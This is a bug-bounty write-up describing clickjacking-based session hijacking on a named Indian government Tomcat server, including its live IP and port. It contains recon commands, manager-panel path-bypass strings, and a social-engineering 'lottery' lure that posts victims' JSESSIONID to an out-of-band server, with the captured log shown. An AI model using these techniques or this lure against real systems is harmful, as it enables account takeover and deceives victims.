How a Forgotten Apache Tomcat Instance Led to Session Hijacking on a Government Server

How a Forgotten Apache Tomcat Instance Led to Session Hijacking on a Government Server | by Md Tanjimul Islam Sifat - Freedium Milestone: 20GB Reached We’ve reached 20GB of stored data — thank you for helping us grow! Patreon Ko-fi Liberapay Close < Go to the original How a Forgotten Apache Tomcat Instance Led to Session Hijacking on a Government Server A 20-year-old server. Default example pages. A fake lottery ticket. And a stolen JSESSIONID. Md Tanjimul Islam Sifat Follow ~7 min read · March 23, 2026 (Updated: March 23, 2026) · Free: Yes A 20-year-old server. Default example pages. A fake lottery ticket. And a stolen JSESSIONID. This is exactly how it happened. The Target: NCAOR I was hunting on http://www.ncaor.gov.in/ — the National Centre for Antarctic and Ocean Research, an Indian government scientific institution. The site runs over plain HTTP, which immediately caught my attention. No HTTPS means no HSTS. No HSTS means the door is already slightly open. I started with the usual surface enumeration — Apache misconfiguration, directory listing, sensitive path disclosure, internal example pages exposed publicly. The site had a few of these. I also checked for clickjacking, CSRF, and tried XSS with bypass techniques. Some things stuck. Most didn't. XSS was a dead end — no useful input fields responded to payloads. But HTTP gave me something else. Step 1: From Domain to IP A simple ping revealed the server's real IP address: ping ncaor.gov.in PING ncaor.gov.in (14.139.119.7) 56(84) bytes of data. 14.139.119.7 — that's the server behind the domain. Now the interesting part: since the site serves over HTTP (not HTTPS), the real IP is already less protected than it should be. A domain is a mask. An IP is the face underneath. I ran a subnet scan to map what else was alive in that /24 range: nmap -sn -Pn 14.139.119.0/24 ``` The scan came back with 256 live hosts. Among them were several named hosts — mail servers, research portals, internal services — all sitting on that same network block. > 💡 **Pro Tip:** When a .gov target serves over HTTP, always ping the domain first. The direct IP often reveals infrastructure that's not meant to be publicly indexed. One host in particular jumped out at me: **14.139.119.23**. No hostname, just an IP. I opened it in a browser on port 8080. --- ## Step 2: Hello, Apache Tomcat 4.1.31 ``` http://14.139.119.23:8080 The page loaded. Clean. Old. Unmistakable. Apache Tomcat/4.1.31. Released in 2003. Running in 2026. On a government server. I immediately checked for the manager panel: dirsearch -u http://14.139.119.23:8080/ --deep-recursive ``` The `/manager/html` path was there — but strictly blocked. I tried every bypass I know: ``` /..;/manager/html /..%2f/manager/html /..;%2f/manager/html /..;/jolokia ``` Nothing. Hard blocked. No bypass worked. So I moved to what *was* accessible: the `/examples/` directory. --- ## Step 3: The Examples Directory — Directory Listing Enabled ``` http://14.139.119.23:8080/examples/ ``` **Directory listing was on.** Three folders stared back at me: ``` Directory Listing For / images/ Fri, 20 Oct 2006 09:41:50 GMT jsp/ Fri, 20 Oct 2006 09:41:50 GMT servlets/ Fri, 20 Oct 2006 09:41:50 GMT ``` These are the default Apache Tomcat example pages — shipped with every Tomcat installation as a demo. They're supposed to be removed before production. They weren't. Inside `/examples/servlets/` I found: - Cookie Example - Session Example - Request Headers - Request Parameters Inside `/examples/jsp/` I found JSP demos including a calendar application with login functionality. The WebSocket echo endpoint (`/examples/websocket/echo.xhtml`) returned 404, so I moved on. --- ## Step 4: The Calendar App — CSRF Confirmed ``` http://14.139.119.23:8080/examples/jsp/cal/login.html ``` A basic calendar login form: name, email, submit. After logging in, I landed on a dated calendar view where I could create, view, and delete events. I tried XSS in the event name field. Multiple payloads. Blind XSS with an OAST callback. No execution — input was being sanitized or the response context wasn't injectable. But then I looked at the request itself when creating an event: ``` http://14.139.119.23:8080/examples/jsp/cal/cal1.jsp?name=user&email=user&action=Submit ``` No CSRF token. No `SameSite` cookie attribute. No `Origin` or `Referer` validation. I could create, modify, or delete any calendar event for any user — **without their knowledge** — just by getting them to load a crafted URL or page. CSRF: confirmed. > 💡 **Pro Tip:** CSRF without XSS is moderate impact. CSRF *with* XSS is critical. Keep that combination in mind — it changes the entire severity calculation. --- ## Step 5: Security Headers — F Grade I ran the endpoint through [securityheaders.com](https://securityheaders.com): ``` Site: http://14.139.119.23:8080/examples/servlets/index.html Grade: F ``` Every major header was missing: | Header | Status | |---|---| | Content-Security-Policy | ❌ Missing | | X-Frame-Options | ❌ Missing | | X-Content-Type-Options | ❌ Missing | | Referrer-Policy | ❌ Missing | | Permissions-Policy | ❌ Missing | The raw response confirmed it: ``` HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html ``` No `X-Frame-Options`. That means this page **can be loaded inside an iframe on any external domain**. That's the door to clickjacking. --- ## Step 6: The Attack Chain — Clickjacking to Session Cookie Theft Here's where everything came together. The Cookie Example servlet at: ``` http://14.139.119.23:8080/examples/servlet/CookieExample ``` displays the user's active session cookies — including `JSESSIONID` — directly on the page. Combined with: - **No `X-Frame-Options`** → the page can be iframed - **No `Content-Security-Policy`** → no frame-ancestors restriction - **HTTP only** → no Secure flag enforcement The attack chain became clear: **Clickjacking → iframe loads the cookie page → social engineering tricks the victim into copying and submitting their own cookie** I built a convincing PoC: a fake "Lottery Winner Claim Portal" page. It iframes the Tomcat cookie example page at low opacity so the victim can see their `JSESSIONID` value displayed. The page instructs them to copy their "verification code" (their session cookie) and paste it into a form. The form POSTs the cookie to an OAST (out-of-band) server I controlled via [interactsh](https://github.com/projectdiscovery/interactsh). The design was intentional — professional enough to be convincing, with countdown timers, a prize amount display, and step-by-step instructions that naturally guide the victim toward self-submitting their cookie. --- ## Step 7: Proof of Concept — Cookie Received I set up my interactsh server and tested the PoC myself. Within seconds, the OAST dashboard lit up: ``` POST / HTTP/2.0 Host: [redacted].oast.fun stolen_cookie=532ED9BB6E75FC0E1276BF5C22CED2C4 poc=clickjacking-cookie-theft target=http://14.139.119.23:8080/examples/servlet/CookieExample ua=Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0 ``` **JSESSIONID: 532ED9BB6E75FC0E1276BF5C22CED2C4** Session hijacked. Full account access to any authenticated user's calendar session — with no XSS, no malware, and no browser exploit. Just a missing header and a convincing page. --- ## The Full Vulnerability Chain (Summary) ``` HTTP site → IP exposed via ping ↓ Subnet scan → Apache Tomcat 4.1.31 on port 8080 at internal IP ↓ /examples/ directory listing → exposed demo servlets and JSP apps ↓ CSRF on calendar app (no token, no validation) ↓ Missing X-Frame-Options → clickjacking possible ↓ Cookie Example page iframed + social engineering → JSESSIONID stolen ↓ Session hijack confirmed via OAST clickjacking vulnrable page clickjacking poc hijacked cookie for session hijacking Hackerone report : https://hackerone.com/reports/146436 , https://hackerone.com/reports/147161 Same medium Writeup : https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20 💡 Key Takeaways 1. Default installations kill production security. Apache Tomcat ships with /examples/ for a reason — development demos. Leaving it enabled on a public-facing server (especially a government one) is an open invitation. 2. HTTP + no X-Frame-Options = clickjacking is always possible. These two missing pieces together are enough. You don't need XSS. You don't need a buffer overflow. A missing HTTP header is the entire attack surface. 3. CSRF without XSS is still reportable. Don't skip CSRF just because you can't chain it with XSS. State changes (creating/deleting calendar entries, modifying user data) are impactful on their own. 4. Ping is reconnaissance. A simple ping domain.com gives you the real IP. From the real IP, subnet scanning reveals infrastructure that was never meant to be visible from the outside. 5. Old software on government servers is more common than you think. Tomcat 4.1.31 was released in 2003. If a government server is running it in 2026, it hasn't been touched in years. That's a gold mine for misconfigurations. ⚡ Bonus: The Clickjacking Test Checklist Before you write off a target as "no XSS, moving on" — run through this: Is the site served over HTTP? Is X-Frame-Options missing from response headers? Is Content-Security-Policy with frame-ancestors missing? Does any page display sensitive session data (cookies, tokens, user info)? Can the page be loaded inside an iframe on an external domain? If you check three or more of these boxes — build the PoC. The impact may surprise you. Conclusion Sometimes the most impactful bugs aren't the flashy zero-days. They're a 23-year-old server still running default demo pages, a missing two-word HTTP header, and the willingness to think one step further than "XSS didn't work, let's move on." The lesson isn't just technical. It's a mindset: when one path is blocked, look sideways. The manager panel was locked down tight. But the /examples/ directory? Wide open. And inside it was everything needed to prove a full session hijacking attack chain — no exploit required, just curiosity and patience. That's what bug hunting actually looks like most of the time. Thanks see you next writeup. #bug-bounty #bug-hunting #hacking #ethical-hacking #cybersecurity Reporting a Problem Sometimes we have problems displaying some Medium posts. If you have a problem that some images aren't loading - try using VPN. Probably you have problem with access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).